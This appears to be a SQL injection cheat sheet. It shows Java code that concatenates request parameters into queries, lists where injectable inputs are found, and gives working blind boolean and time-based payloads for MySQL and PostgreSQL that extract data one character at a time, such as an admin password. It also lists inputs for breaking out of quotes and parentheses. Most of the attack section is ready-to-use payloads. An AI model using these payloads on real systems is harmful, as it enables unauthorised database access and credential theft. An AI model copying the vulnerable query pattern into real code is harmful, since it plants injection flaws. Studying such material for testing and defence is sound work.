Vulnerable Code
Developers often fail to parameterize input used for data filtering. You must identify if your input lands inside an Integer Context (no quotes) or a String Context (wrapped in quotes), as this dictates your escape sequence.
// Vulnerable Context 1: Integer (No escaping needed) String userId = request.getParameter("id"); String query1 = "SELECT username, role FROM users WHERE id = " + userId; // Vulnerable Context 2: String (Requires `'` to escape) String category = request.getParameter("category"); String query2 = "SELECT name, price FROM products WHERE category = '" + category + "'";
Where To Look For The Vulnerability
Look for any feature that filters, searches, or retrieves specific records.
Authentication Forms: Login pages (username and password fields).
API Endpoints: JSON bodies like {"userId": 105}
Hidden Fields: State trackers or session parameters passed in POST requests.
Exploitations
The payloads below assume an Integer Context. If you are in a String Context, prefix the payloads with ' to close the developer’s string, and ensure you append -- or # (depending on the SQL engine) to comment out their trailing quote.
Append AND / OR conditions to ask the database True/False questions.
-- Syntax: [Valid ID] AND ([Your Condition])---- Example: Checking if the admin password starts with 'A' (ASCII 65)1 AND (ASCII(SUBSTRING(({query}), 1, 1)) = 65)--
-- Syntax: [Valid ID] AND (IF/CASE Statement with Sleep)---- MySQL: If the first char is 'A', sleep 5 seconds1 AND IF(ASCII(SUBSTRING(({query}), 1, 1))=65, SLEEP(5), 0)---- PostgreSQL:1 AND (SELECT CASE WHEN (ASCII(SUBSTRING(({query}), 1, 1))=65) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
Note: Before dropping payloads, test how to cleanly break the syntax without causing a fatal 500 error.
Integer:id=1→ Inject directly: id=1 AND 1=1
String:name='admin'→ Close quote: name=admin' AND 1=1--
Parentheses:id=(1)→ Close parenthesis: id=1) AND 1=1--
String + Parentheses:name=('admin')→ Close both: name=admin') AND 1=1--